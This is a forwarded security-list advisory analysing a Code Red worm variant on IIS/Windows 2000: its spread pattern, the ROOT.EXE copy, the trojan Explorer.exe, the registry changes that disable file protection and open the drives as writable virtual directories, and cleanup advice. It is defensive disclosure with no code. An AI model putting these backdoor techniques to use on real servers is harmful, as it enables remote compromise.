This one is much worse and if you are infected, probably ought to
reformat.
This morning, AFAIK, a new Code Red variant was released.
------------------------------------------------------------------------
--
Ok, here's the latest on this new variant.
1. It makes a copy of CMD.EXE called ROOT.EXE in the;
\inetpub\scripts
and
\program files\common files\system\msadc
directories. Does this on both drive C: and D: (doesn't fail if D:
doesn't exist).
2. It then runs its attack program code to infect itself upon
numerous other boxes. This is done randomly, although there is a bias
to attack boxes that are part of the same class A as infected
attacker (so it hits your own boxes sooner rather than later). Attack
code runs for 24 hours, 48 hours on Chinese language systems.
3. After attack code runs (and it seems to be based on clock ticks,
not date), it then writes out a Trojan.
File Explorer.exe (8192bytes or 7K as displayed by Windows) is
dropped (from the code in the original attacking URL) to the root of
drive C: and D: (again, doesn't matter if D: doesn't exist).
4. The system is then rebooted (probably a forced reboot).
5. When the system restarts, it loads the trojan Explorer.exe from
the root directory on the boot drive. This code then does several
things;
a) Launches the real Explorer.exe, so the system looks normal.
Sets SFCDisable in hklm\software\microsoft\windows
nt\currentversion\winlogon to some undocumented value. Presumably
this disables Windows File Protection (so critical files could be
overwritten)
c) Creates two virtual directories (via the registry) in
hklm\system\currentcontrolset\services\w3svc\parameters\virtual
roots. Called "C" and "D", they are mapped to the root directories of
the two drives and permissions are established in the virtual
directory to allow script, read, and write access as well as setting
execute permissions to scripts and executables.
d) goes into an endless sleep loop.
The end result of all of this action is to leave your box wide open
to remote connection and total compromise.
Unlike "Code Red", this worm doesn't attack any single target at any
point, although its attack strength seems to be much higher (it
launches 300 threads right off, although some may only launch 100),
so its propagation seems much higher.
The attack only works properly on Windows 2000 systems (preliminary
analysis). ICSA Labs tested against an NT 4.0/IIS 4.0/SP3 box and
received a standard error message. Reports from subscribers suggest
that XP IIS 5.1 RC1 is invulnerable also. Its expected that it works
on PWS and OWS equally to IIS (all on W2K).
Its obviously a short-lived attack, at least the process of
collecting victims. What would be done with them once collected is
another story. No attempt is made by the worm to send anything
"home", although detecting compromised boxes is far too easy (very
unfortunately) for anyone outside your network.
Cleaning a compromised box should really be done by reformatting.
Although logging is left on for the new virtual directories created
(meaning you'd see access in your IIS logs), there's really no way to
be sure that files haven't been implanted to leave other backdoors
(not as part of this worm, but as part of the use of the opening it
creates).
Credits:
The bulk of the analysis was done by Nick Fitzgerald of Virus-L (and
friends) and Roger Thompson of TruSecure. Additional help came from
Bruce Hughes of the ICSA Labs.
Cheers,
Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor
---------------------------------
Now Registering for IIS FastTrack
http:/www.iistraining.com
Brett Hill - IISAnswers.com
brett@iisanswers.com (303) 543-7502
MCSE MCT A+ Net+ CIW-TT